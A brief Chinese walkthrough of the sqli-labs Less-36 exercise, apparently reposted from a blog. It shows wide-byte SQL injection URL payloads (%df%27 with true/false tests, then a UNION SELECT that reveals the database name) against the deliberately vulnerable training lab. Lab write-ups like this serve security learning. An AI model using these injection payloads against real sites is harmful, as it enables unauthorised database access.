0X01发现又是‘’被过滤了
?id=1%df%27%20and%201=2%23 错误
?id=1%df%27%20and%201=1%23 正确
存在注入
0X01爆数据库
?id=-1%df%27%20union%20select%201,database(),3%23
0x02组合拳打法
sqli-labs(36)
原文：https://www.cnblogs.com/-zhong/p/10959961.html
